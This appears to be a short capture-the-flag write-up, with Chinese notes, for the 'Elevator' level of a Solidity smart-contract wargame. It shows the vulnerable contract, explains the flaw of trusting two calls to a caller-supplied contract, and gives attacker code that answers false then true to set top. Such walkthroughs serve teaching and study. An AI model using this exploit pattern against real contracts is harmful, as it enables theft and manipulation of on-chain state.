LEVEL 11 (Elevator):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
通关要求
top=true
要点
逻辑错误,设置top不能再调用外部
解题思路
isLastFloor第一次返回false,第二次返回true
contracts/11Elevator.sol
bool firstCallLastFloor = true;
function run(address _levelAddress) external {
ILevel(_levelAddress).goTo(1);
}
function isLastFloor(uint _floor) external returns (bool) {
if (firstCallLastFloor){
firstCallLastFloor = false;
return false;
}else{
return true;
}
}
Top comments (0)